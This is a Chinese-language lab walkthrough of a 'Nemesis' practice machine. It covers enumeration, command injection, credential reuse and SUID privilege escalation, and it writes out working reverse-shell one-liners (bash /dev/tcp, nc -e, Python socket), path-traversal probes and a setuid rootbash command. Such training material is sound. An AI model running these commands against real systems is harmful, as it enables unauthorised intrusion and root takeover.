1. 从靶机名"复仇女神"说起:这台机器到底想考什么
拿到一台命名带"复仇女神"字样的靶机,第一反应不应该是急着扫端口,而是先琢磨出题人的心思。这类中阶靶机的命名往往暗示了它的核心考点——"复仇"意味着有来有回,你对我做的操作,后面会以某种形式反馈回来。放到渗透测试的语境里,这通常指向凭据复用、会话劫持、或者基于已有信息的二次利用,而不是单纯的堆漏洞。
这台机器在难度定位上属于典型的"中阶偏上",它不像入门机那样一个明显的漏洞就能打通,也不像某些硬核靶机需要自己写exploit。它的设计思路是:给你几个看似零散的线索,让你把它们串成一条完整的攻击链。整条链路上大概涉及Web信息泄露、凭据破解、文件包含或命令注入、以及Linux本地提权这几个环节,每个环节单独看都不算难,但衔接起来需要一定的耐心和思路。
适合什么人来练?如果你已经能独立完成五六台入门靶机,对nmap、gobuster、burp这些工具的基本用法不陌生,但一到"拿到shell之后怎么办"就卡壳,那这台机器非常适合你。它最大的价值不在于某个具体漏洞有多刁钻,而在于完整地走一遍从外网到root的流程,帮你把零散的知识点串成体系。
我个人的习惯是,打任何一台靶机之前先建一个工作目录,把扫描结果、下载的文件、写的小脚本都分门别类放好。这个习惯在打这台机器时帮了大忙,因为后面有好几处需要回头翻之前扫出来的信息。下面我就按实际的攻击顺序,把整条链路拆开讲清楚,包括我踩过的坑和绕过的弯路。
2. 信息收集阶段:别急着扫全端口,先看清楚门面
2.1 主机发现与端口扫描的节奏把控
靶机导入虚拟机之后,第一件事是确认它的IP。我一般用arp-scan或者netdiscover先做一层二层发现,比直接nmap扫网段快得多:
sudo arp-scan -l拿到IP之后,端口扫描我习惯分两步走。先快速扫一遍常见端口,确认大方向,再针对开放端口做深度探测。一上来就-p-全端口扫描虽然彻底,但等待时间长,而且容易在早期就陷入"等结果"的被动状态。
nmap -sC -sV -T4 -p- 192.168.56.101 -oN nmap_full.txt实测下来,这台机器开放的端口组合很有代表性:80端口的Web服务、22端口的SSH、可能还有一两个高位端口。这里有个经验点——很多人看到22端口开放就想着去爆破SSH,但在这类靶机上,SSH往往是最后的入口,而不是第一个。出题人把SSH摆在那里,更多是作为"拿到凭据后的验证通道"。
提示:扫描结果一定要存文件。我见过太多人扫完看一眼就关掉终端,后面需要对比的时候又得重扫,浪费时间。
2.2 Web目录枚举:字典选择比工具本身更重要
80端口跑的是一个看起来挺简洁的网站。这时候不要急着点每个链接,先用目录枚举工具把隐藏路径挖出来。工具用gobuster还是feroxbuster都行,关键在字典。
gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50这里我要多说一句字典的事。很多人图省事只用common.txt,结果扫不出东西就以为没隐藏目录。这台机器上,关键路径藏在一个中等规模的字典里,用太小的字典会直接漏掉。我的建议是:中阶靶机至少用medium级别的字典,并且带上常见的扩展名。
扫出来的结果里,有一个路径值得注意——它返回的不是标准的404,而是一个带参数的页面。这就是整条攻击链的起点。
2.3 从页面源码和响应头里抠细节
Web信息收集有个容易被忽略的地方:响应头和页面注释。我习惯用curl把关键页面的原始响应拉下来看:
curl -i http://192.168.56.101/somepath/在这台机器上,某个页面的HTML注释里留了一段看起来像提示的文字,指向另一个功能点。同时,响应头里的Server字段暴露了后端使用的技术栈版本,这个版本号后面在找漏洞时会用到。
另外,页面上如果有登录框或者搜索框,一定要用Burp抓包看看请求结构。这台机器的一个参数直接拼进了后端命令或文件路径,是典型的注入类入口。判断方法很简单:输入一个单引号或者分号,看返回是否异常。
3. 撕开Web入口:从参数注入到拿到第一个shell
3.1 定位注入点与判断注入类型
前面提到的那个带参数的页面,参数值直接影响了页面返回的内容。我测试的时候先试了几个常规payload:
?param=test' ?param=test; ?param=../../../../etc/passwd返回结果里,带单引号的那次报了一个数据库相关的错误,带分号的那次页面内容出现了变化。这两个信号说明:参数可能同时存在SQL注入和命令注入的风险,或者后端做了某种字符串拼接。
这里有个判断技巧:如果报错信息里出现了数据库关键字,优先往SQL注入方向走;如果页面直接回显了命令执行的结果(比如whoami的输出),那就是命令注入。这台机器上,我最终确认的是一个命令注入点,因为输入; id之后页面直接回显了当前用户的信息。
注意:命令注入和代码注入要区分开。命令注入是拼接系统命令,代码注入是拼接脚本代码。判断方法是看你的payload是被当成shell命令执行,还是被当成脚本语言解析。
3.2 反弹shell的几种姿势与选择理由
确认命令注入之后,下一步就是反弹shell。这里我试了三种方式,说说各自的坑:
第一种是bash的/dev/tcp方式:
bash -i >& /dev/tcp/192.168.56.100/4444 0>&1这种方式最直接,但有些环境里bash被编译时没开启/dev/tcp支持,会失败。这台机器上它是可用的。
第二种是nc方式:
nc -e /bin/bash 192.168.56.100 4444问题在于很多nc版本不支持-e参数,需要换用ncat或者nc.traditional。
第三种是python方式:
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("192.168.56.100",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'这种方式兼容性最好,只要目标有python就行。
我最终用的是bash方式,因为最简洁。但这里有个关键细节:payload里的特殊字符在URL传输时需要编码。空格要换成%20,&要换成%26,>要换成%3E。我第一次没编码,payload直接被截断了,排查了半天才发现是编码问题。
3.3 拿到初始shell后的第一分钟该做什么
很多人拿到shell就急着找flag,这是大忌。初始shell往往是不稳定、功能受限的,第一分钟应该做这几件事:
- 升级shell:用python的pty模块把shell升级成交互式的
python3 -c 'import pty;pty.spawn("/bin/bash")'然后按Ctrl+Z挂起,执行stty raw -echo; fg,再export TERM=xterm。这样你就有tab补全和方向键历史了。
确认身份和权限:
id、whoami、hostname三个命令走一遍。看看当前目录有什么:
ls -la,有时候flag或者提示文件就在眼前。记录当前shell的稳定性:如果这个shell是通过Web注入拿到的,它可能随时断。我习惯同时开一个nc监听备用。
这台机器上,初始shell的用户是一个低权限的Web服务账户。接下来就是本地信息收集和提权。
4. 本地枚举:在别人的机器上找"钥匙"
4.1 手动枚举的优先级清单
自动枚举脚本(比如LinEnum、linpeas)很方便,但我建议先手动过一遍关键位置,再跑脚本。原因很简单:脚本输出几百行,新手容易看花眼,而手动枚举能帮你建立"什么信息重要"的直觉。
我的手动枚举清单按优先级排:
- 家目录和Web根目录:
ls -la /home/*、ls -la /var/www/html。配置文件、备份文件、数据库凭据经常藏在这里。 - SUID文件:
find / -perm -u=s -type f 2>/dev/null。这是Linux提权最经典的入口。 - 定时任务:
cat /etc/crontab、ls -la /etc/cron.*。可写的定时任务脚本是提权捷径。 - 环境变量和history:
env、cat ~/.bash_history。有时候管理员会把密码敲进命令行。 - 可写的敏感文件:
find / -writable -type f 2>/dev/null | grep -v proc。
在这台机器上,我在Web根目录的一个配置文件里找到了数据库的连接凭据。这个凭据后面在另一个地方被复用了——这就是"复仇女神"这个名字的呼应点之一。
4.2 凭据复用:从Web配置到系统账户
拿到数据库凭据之后,不要只想着连数据库。我的习惯是:把拿到的每一组用户名密码都当成系统账户密码去试一遍。用su或者ssh都行。
su - username这台机器上,配置文件里的那组凭据恰好可以切换到另一个系统用户。这个用户的权限比Web账户高,能读取更多文件。这就是典型的凭据复用漏洞——同一个密码在多个地方使用。
提示:试密码的时候注意别把账户锁了。靶机环境一般没锁,但养成好习惯,试两三次不行就换思路。
4.3 用linpeas做交叉验证
手动枚举之后,我会跑一遍linpeas做交叉验证,确保没漏掉东西。linpeas的输出里,红色高亮的部分是重点。这台机器上,linpeas帮我确认了一个我手动扫到但没在意的SUID文件——它确实有可利用的提权路径。
./linpeas.sh | tee linpeas_output.txt把输出存下来,后面提权的时候可以随时grep查找。
5. 提权到root:SUID、sudo与内核漏洞的取舍
5.1 分析SUID文件的利用路径
前面扫出来的SUID文件里,有一个不是系统默认自带的。判断方法很简单:和标准系统的SUID列表对比,多出来的那个就是可疑的。
假设这个文件叫/usr/bin/something,先用strings看看它调用了什么:
strings /usr/bin/something如果它内部调用了system()或者exec()执行某个命令,而那个命令的路径可以被我们控制,那就是提权点。常见的利用方式包括:
- 如果它调用
/bin/bash但没有指定完整路径,可以通过修改PATH环境变量劫持。 - 如果它调用某个脚本,而那个脚本可写,直接改脚本内容。
- 如果它本身有命令注入漏洞,直接注入提权命令。
这台机器上的SUID文件属于第二种情况——它调用了一个可写的脚本。我直接往脚本里加了一行:
cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash然后执行/tmp/rootbash -p,就拿到了root shell。
5.2 sudo配置的检查与利用
除了SUID,sudo -l是必查项。有时候当前用户被允许以root身份执行某个特定命令,而那个命令本身可以用来提权。
sudo -l常见的可利用命令包括vim、less、find、awk等。比如如果允许sudo vim,直接sudo vim然后:!bash就能拿到root shell。这台机器上,sudo配置没有直接给提权路径,但检查一遍是必要的流程。
5.3 内核漏洞提权的判断标准
内核漏洞提权(比如DirtyCow、PwnKit)威力大,但不要一上来就用。原因有三:一是可能把机器打崩,二是靶机环境不一定适用,三是这类漏洞利用会掩盖你其他技能的价值。
判断是否该用内核漏洞,我的标准是:手动枚举和SUID/sudo都走不通,且内核版本确实对应已知漏洞。用uname -a看内核版本,然后去搜对应的CVE。这台机器上,SUID路径已经通了,所以内核漏洞我没用上,但作为备选方案心里要有数。
5.4 拿到root之后该做的收尾
拿到root shell之后,别急着关机。做这几件事:
- 确认身份:
id,确保真的是uid=0。 - 找flag:通常在
/root/目录下,ls -la /root。 - 检查是否有隐藏flag:有时候出题人会放多个flag,
find / -name "*flag*" 2>/dev/null扫一遍。 - 记录完整攻击链:趁记忆新鲜,把每一步的命令和输出整理成文档。这对写报告或者以后复习都很有价值。
6. 复盘:这台机器教给我的几件事
6.1 攻击链的完整回顾
把整条链路串起来看:端口扫描发现Web服务 → 目录枚举找到注入点 → 命令注入拿到初始shell → 本地枚举发现配置文件凭据 → 凭据复用切换到高权限用户 → SUID文件提权到root。每一步都不复杂,但环环相扣,缺一不可。
这种设计思路很值得学习。它模拟了真实环境中常见的"信息泄露导致横向移动"的场景——一个不起眼的配置文件,可能就是整个防线的突破口。
6.2 我踩过的三个坑
第一个坑是字典选小了。第一次扫目录用的是common.txt,没扫出关键路径,差点以为这台机器没有Web入口。换成medium字典后立刻就有了。
第二个坑是payload编码。命令注入的payload里有空格和特殊字符,没做URL编码导致请求被截断。这个坑很隐蔽,因为浏览器里看着payload是对的,但实际发出去的请求已经变形了。
第三个坑是忽略了响应头。一开始只关注页面内容,后来回头看响应头才发现后端技术栈的版本信息,这个信息在后续找利用方式时很有用。
6.3 给正在练这台机器的朋友几条建议
如果你正在打这台机器,卡住了,我的建议是:
- 回头看看你扫过的信息。这台机器的线索是分散的,很可能你早期扫到的某个东西就是关键,只是当时没意识到。
- 别死磕一个点。Web注入走不通就去看SSH,SSH进不去就回头翻Web目录。攻击链是网状的,不是线性的。
- 养成记录的习惯。每执行一个命令,把输出存下来。这台机器我回头翻了三次之前的扫描结果,每次都找到了新线索。
最后说一句关于"复仇女神"这个命名的理解:它暗示的是你之前做的操作会在后面产生回报。你枚举出的每一个目录、抓到的每一个包、记下的每一行输出,都可能在后面的某个环节成为关键。这不是一台靠运气能打通的机器,它考的是耐心和系统性。